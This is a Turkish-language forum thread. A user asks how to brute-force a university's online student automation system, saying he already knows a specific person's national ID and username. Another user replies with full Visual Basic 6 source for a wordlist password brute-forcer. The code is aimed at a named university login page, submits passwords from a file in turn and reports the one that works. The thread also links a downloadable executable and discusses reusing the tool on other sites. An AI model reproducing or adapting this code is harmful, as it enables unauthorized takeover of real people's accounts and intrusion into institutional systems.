Slm Ben Bir Üniverstenin Otomasyon Sistemine İçin Burute Force Programı Yapmak İstiyorum Nasıl Yapbilirim....

Otumasyonu Nasıl Programa Gömebilirim....

Herhangi bi list oluşturup kendine internetteki hazır programı kullanabılırsın yeniden yazmana gerek yok diye düşünüyorum

dostum nettekii otomasyona nasıl gömecem yani naıl deneme yapacam

mesela adamın tc si kullanıcı adı bende biliyorum

şifre bolumune attack nasıl yapacağımmm

gowand bunu yazdı:
-----------------------------

dostum nettekii otomasyona nasıl gömecem yani naıl deneme yapacam

-----------------------------

otomasyon dediğin sistemin bir internet sitesi varsa yani giriş yapılan bir form varsa çok rahat TextBox'ta ki yada ListBox'ta ki verileri girdirip Submit edebilirsin sitedeki sayfanın kaynak koduna görede kırılıp kırılmadığına dair programda ProgressBar yaparsın kaynak istediğin gibi olunca ProgressBar %100 olur TextBox'a başarılı yazarsın kısaca özetledim :) Yardıma ihtiyacın olursa pm at.

Sistem web sayfası üzerindenmi çalışıyor? Evetse, CodeInside nin dediklerini yap

Program ile direk veritabanına uzakdan bağlantı kurulmussa. Program üzerinden fareyi,klavyeyi otomatik kullandırtarak yaparsın veya yeni bağlantı kurabiliyorsan kendin kurarsın. Programın döndürdüğü değerlere görede şifrenin doğru olup olmadığını ayıklarsın

code side ye gönderdim siteyide baklımm

Doğru şifre olmadığı için tam test edemedim ama çalışması gerekiyor :)

Wordlist için, programın çalıştığı klasörde sifreler.txt dosyası oluştur

Form1.frm dosyası:

VERSION 5.00
Object = "{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}#1.1#0"; "ieframe.dll"
Begin VB.Form Form1 
   BorderStyle     =   1  'Fixed Single
   Caption         =   "Öğrenci Girişi Bruteforce "
   ClientHeight    =   4500
   ClientLeft      =   45
   ClientTop       =   375
   ClientWidth     =   7530
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   ScaleHeight     =   4500
   ScaleWidth      =   7530
   StartUpPosition =   3  'Windows Default
   Begin VB.CommandButton Command1 
      Caption         =   "Başla"
      Height          =   375
      Left            =   600
      TabIndex        =   3
      Top             =   2880
      Width           =   1695
   End
   Begin VB.TextBox kullaniciAdi 
      Height          =   285
      Left            =   600
      TabIndex        =   2
      Text            =   "1234567890"
      Top             =   480
      Width           =   1575
   End
   Begin VB.ListBox sifreler 
      Height          =   2010
      Left            =   600
      TabIndex        =   1
      Top             =   840
      Width           =   1575
   End
   Begin VB.Timer Timer1 
      Enabled         =   0   'False
      Interval        =   5000
      Left            =   120
      Top             =   3120
   End
   Begin SHDocVwCtl.WebBrowser WebBrowser1 
      Height          =   3855
      Left            =   4920
      TabIndex        =   0
      Top             =   960
      Width           =   3975
      ExtentX         =   7011
      ExtentY         =   6800
      ViewMode        =   0
      Offline         =   0
      Silent          =   0
      RegisterAsBrowser=   0
      RegisterAsDropTarget=   1
      AutoArrange     =   0   'False
      NoClientEdge    =   0   'False
      AlignLeft       =   0   'False
      NoWebView       =   0   'False
      HideFileNames   =   0   'False
      SingleClick     =   0   'False
      SingleSelection =   0   'False
      NoFolders       =   0   'False
      Transparent     =   0   'False
      ViewID          =   "{0057D0E0-3573-11CF-AE69-08002B2E1262}"
      Location        =   "http:///"
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'tahribat.com & tdsoftware.tr.cx
Dim DenenenSifre

Private Sub Command1_Click()
Timer1.Enabled = True
End Sub

Private Sub Form_Load()
Dim degisken As String
Open App.Path & "\sifreler.txt" For Input As #1
Do While Not EOF(1)
Input #1, wordlistsifreler
sifreler.AddItem wordlistsifreler
Loop
Close #1
WebBrowser1.Navigate "http://otomasyon.adiyaman.edu.tr/obys/Hoca/"
End Sub

Private Sub Timer1_Timer()
If WebBrowser1.LocationURL = "http://otomasyon.adiyaman.edu.tr/obys/Hoca/Default.asp?cat=login" Then 'Denemek için sayfa hazır
If sifreler.ListCount = DenenenSifre Then
Timer1.Enabled = False
MsgBox "İşlem tamamlandı", vbInformation
Else
BosluklariDoldurveGir
DenenenSifre = DenenenSifre + 1
Me.Caption = "Öğrenci Girişi Bruteforce (" & DenenenSifre & "/" & sifreler.ListCount & ")"
End If

ElseIf WebBrowser1.LocationURL = "http://otomasyon.adiyaman.edu.tr/obys/Hoca/" Then 'Deniyor
If sifreler.ListCount = DenenenSifre Then
Timer1.Enabled = False
MsgBox "İşlem tamamlandı", vbInformation
Else
BosluklariDoldurveGir
DenenenSifre = DenenenSifre + 1
Me.Caption = "Öğrenci Girişi Bruteforce (" & DenenenSifre & "/" & sifreler.ListCount & ")"
End If

ElseIf WebBrowser1.LocationURL = "http://otomasyon.adiyaman.edu.tr/obys/Hoca/Default.asp?cat=logincontrol" Then 'Deniyor

ElseIf WebBrowser1.LocationURL = "" Then 'Doğruymuş

Else
MsgBox "Şifresi:" & sifreler.List(DenenenSifre), vbOKOnly
End If
End Sub

Sub BosluklariDoldurveGir()
WebBrowser1.Document.All.Item("username").Value = kullaniciAdi.Text
wait 50
WebBrowser1.Document.All.Item("password").Value = sifreler.List(DenenenSifre)
wait 200
WebBrowser1.Document.All.Item("B1").Click
End Sub

Module1.pas dosyası:

Attribute VB_Name = "Module1"
Public Declare Function GetTickCount Lib "kernel32" () As Long

Public Sub wait(ByVal dblMilliseconds As Double)
    Dim dblStart As Double
    Dim dblEnd As Double
    Dim dblTickCount As Double
    
    dblTickCount = GetTickCount()
    dblStart = GetTickCount()
    dblEnd = GetTickCount + dblMilliseconds
    
    Do
    DoEvents
    dblTickCount = GetTickCount()
    Loop Until dblTickCount > dblEnd Or dblTickCount < dblStart
       
    
End Sub

Exe & Proje:

http://www.rapidspread.com/file.jsp?id=2q0vp23xgx

kodlardaki login sayfalarıyla oynayıp bunu benzer sistem ancak farklı sayfalarda uygulayabilir miyiz?

mustaphachan bunu yazdı:
-----------------------------

kodlardaki login sayfalarıyla oynayıp bunu benzer sistem ancak farklı sayfalarda uygulayabilir miyiz?

-----------------------------

Sistem aynı ve yönlenen adresleri doğru girersen çalışabilir

eyvallah hocam birazdan deneyip sonucu yazarım. onun dışında bunu çok farklı yerlerde kullanabilmemiz amaçlı bir anlatım yapmayı düşündün mü hiç yada düşünür müsün :) düşünsen çok çok iyi olur da :D